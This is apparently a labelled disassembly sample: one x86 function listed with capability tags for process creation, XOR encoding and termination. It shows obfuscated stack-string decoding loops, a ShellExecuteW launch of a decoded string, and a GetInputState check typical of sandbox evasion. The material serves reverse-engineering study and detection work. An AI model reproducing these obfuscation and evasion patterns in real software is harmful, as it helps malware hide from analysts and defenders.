Function at 0x40cf50
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x2c
call fcn.004414b0
test al, al
je 0x40d41a
mov dword [esp], 0x291e8246
mov dword [esp + 4], 0
mov eax, 7
mov ecx, 0xf8
nop
nop
nop
mov esi, ecx
and esi, 0x9b
mov edx, eax
and edx, 4
or edx, esi
xor dl, byte [esp + eax - 7]
xor dl, 0x9b
add dl, 0xdd
mov byte [esp + eax - 7], dl
inc eax
dec ecx
cmp eax, 0xf
jne 0x40cf80
mov ecx, dword [esp]
mov eax, ecx
shr eax, 2
mov dword [esp], 0xf1fed6c3
mov dword [esp + 4], 0
mov edx, esp
mov esi, 0x2a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [edx]
lea edi, [esi - 0x522adc00]
or edi, ebx
not edi
and ebx, esi
or ebx, edi
mov edi, ebx
and edi, 1
or ebx, 1
add ebx, edi
add bl, 0xd6
mov byte [edx], bl
inc edx
dec esi
cmp esi, 0x22
jne 0x40cfd0
xor eax, ecx
mov ecx, dword [esp]
mov esi, eax
not esi
lea edx, [ecx + ecx]
not edx
add edx, ecx
and edx, eax
mov edi, ecx
and edi, eax
or eax, ecx
imul eax, edi
mov dword [esp], 0x9f9e9993
mov edi, 0x5a8a535a
nop
nop
movzx ebp, byte [esp + edi - 0x5a8a535a]
lea ebx, [edi - 0x5a8a5300]
and ebx, ebp
or ebp, edi
not ebp
or ebp, ebx
lea ebx, [ebp*2]
not ebx
add ebx, ebp
add bl, 0x3e
mov byte [esp + edi - 0x5a8a535a], bl
inc edi
cmp edi, 0x5a8a535e
jne 0x40d020
and ecx, esi
imul edx, ecx
add edx, eax
movzx ecx, byte [esp]
mov eax, edx
shr eax, cl
xor eax, edx
mov ecx, eax
not ecx
lea ecx, [eax + ecx*2]
mov dword [esp], 0xc0b5e8a0
mov eax, 0xae
mov edx, 0x51
nop
nop
nop
movzx esi, byte [esp + eax - 0xae]
mov ebx, edx
xor ebx, eax
and ebx, esi
xor ebx, eax
add bl, 0x9a
mov byte [esp + eax - 0xae], bl
inc eax
dec edx
cmp eax, 0xb2
jne 0x40d080
mov eax, 0xfffffffe
sub eax, ecx
mov esi, dword [esp]
mov edi, esi
not edi
mov edx, eax
and edx, edi
or edi, eax
lea ecx, [edi + edi]
not ecx
add ecx, edi
mov edi, edx
not edi
and edi, ecx
imul edi, edx
mov ebx, ecx
or ebx, edx
mov ebp, esi
and ebp, eax
or eax, esi
imul eax, ebp
add eax, edi
mov dword [esp], 0x373cb2a5
mov dword [esp + 4], 0
and ecx, edx
imul ecx, ebx
xor edx, edx
nop
nop
nop
nop
movzx edi, byte [esp + edx]
mov esi, 0x48cf32ce
sub esi, edx
or esi, edi
mov ebx, 0xce
sub ebx, edx
and ebx, edi
not esi
or esi, ebx
mov edi, esi
and edi, 0xa
xor esi, 0xa
lea ebx, [esi + edi*2]
inc bl
mov byte [esp + edx], bl
mov esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
cmp edx, 8
jb 0x40d0f0
add eax, ecx
cmp eax, dword [esp]
jne 0x40d20f
mov dword [esp], 0xf76309a7
mov dword [esp + 4], 0xf320f558
mov dword [esp + 8], 0xff66f15d
mov dword [esp + 0xc], 0xfb1afd51
mov dword [esp + 0x10], 0xe749f92b
mov dword [esp + 0x14], 0xe5e4
mov word [esp + 0x18], 0
mov eax, 0x7e
mov ecx, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x7e]
mov esi, edx
not esi
mov edi, esi
and edi, 0x82
or esi, 0x7d
add esi, edx
inc esi
or esi, edi
mov edi, ecx
and edi, 0x82
mov edx, eax
and edx, 0x7d
or edx, edi
xor edx, esi
add dl, 0xa
mov byte [esp + eax - 0x7e], dl
inc eax
dec ecx
cmp eax, 0x98
jne 0x40d180
mov dword [esp + 0x1c], 0xb726891b
mov dword [esp + 0x20], 0xb320b559
mov dword [esp + 0x24], 0xb1b0
mov word [esp + 0x28], 0
xor eax, eax
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xde
xor cl, byte [esp + eax + 0x1c]
add cl, 0xaa
mov byte [esp + eax + 0x1c], cl
inc eax
cmp eax, 0xe
jne 0x40d1e0
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0
push eax
push 0x44a3da
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00439b20
test al, al
je 0x40d415
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esp], 0xe6ad181d
mov dword [esp + 4], 0x2a10d632
mov word [esp + 8], 0
mov eax, 0xc651606b
mov ecx, 0x94
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x39ae9f95]
lea esi, [edx + edx]
not esi
add esi, edx
and esi, eax
and edx, ecx
or edx, esi
lea esi, [edx + edx]
mov edi, esi
and edi, 0xd0
xor edx, 0xe8
add edx, edi
and esi, 2
xor edx, 1
add edx, esi
mov byte [esp + eax + 0x39ae9f95], dl
inc eax
dec ecx
cmp eax, 0xc6516075
jne 0x40d250
mov dword [esp], 0x823bedad
mov dword [esp + 4], 0x9023c6bf
mov eax, 0xde6d0d66
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x2192f29a]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 2
mov byte [esp + eax + 0x2192f29a], cl
inc eax
cmp eax, 0xde6d0d6e
jne 0x40d2b0
mov dword [esp], 0x33323111
mov dword [esp + 4], 0
mov eax, 0xb4
mov ecx, 0x32a1fe4b
movzx edx, byte [esp + eax - 0xb4]
lea esi, [eax - 0x32a1ff00]
lea edi, [edx + edx]
not edi
add edi, edx
mov ebx, esi
not ebx
or ebx, edi
lea edi, [ebx + ebx]
not edi
add edi, ebx
mov ebx, ecx
and ebx, 0x2021fe09
and esi, 0x845001a6
or esi, ebx
xor esi, edx
xor esi, 0x692ffe19
and edx, eax
or edx, esi
lea ebx, [edx + edx]
not ebx
add ebx, edx
or ebx, edi
mov dl, 0x7b
sub dl, bl
mov byte [esp + eax - 0xb4], dl
inc eax
dec ecx
cmp eax, 0xbc
jne 0x40d2f0
call dword [sym.imp.USER32.dll_GetInputState]
test eax, eax
je 0x40d3aa
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp], 0x9907add3
mov dword [esp + 4], 0x43487cba
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
mov eax, 0xc78ce6a0
mov ecx, 0x3873195f
movzx edx, byte [esp + eax + 0x38731960]
mov esi, edx
not esi
mov edi, eax
and edi, esi
or esi, ecx
add edx, esi
inc edx
or edx, edi
add dl, 0xe0
mov byte [esp + eax + 0x38731960], dl
inc eax
dec ecx
cmp eax, 0xc78ce6ab
jne 0x40d380
mov dword [esp], 0xeeedece3
mov dword [esp + 4], 0xeae9e8ef
mov dword [esp + 8], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx]
mov edi, eax
and edi, 0xe
mov edx, ecx
xor edx, 0xfd41e57
add edx, edi
xor edx, esi
mov esi, edx
xor esi, 0xb4
and edx, 0x4b
add edx, edx
sub edx, esi
inc dl
mov byte [esp + ecx], dl
inc ecx
add eax, 2
cmp ecx, 0xc
jne 0x40d3d0
call fcn.0040e430
test al, al
je 0x40d415
call fcn.00411140
call fcn.0040fed0
call fcn.00442bc0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]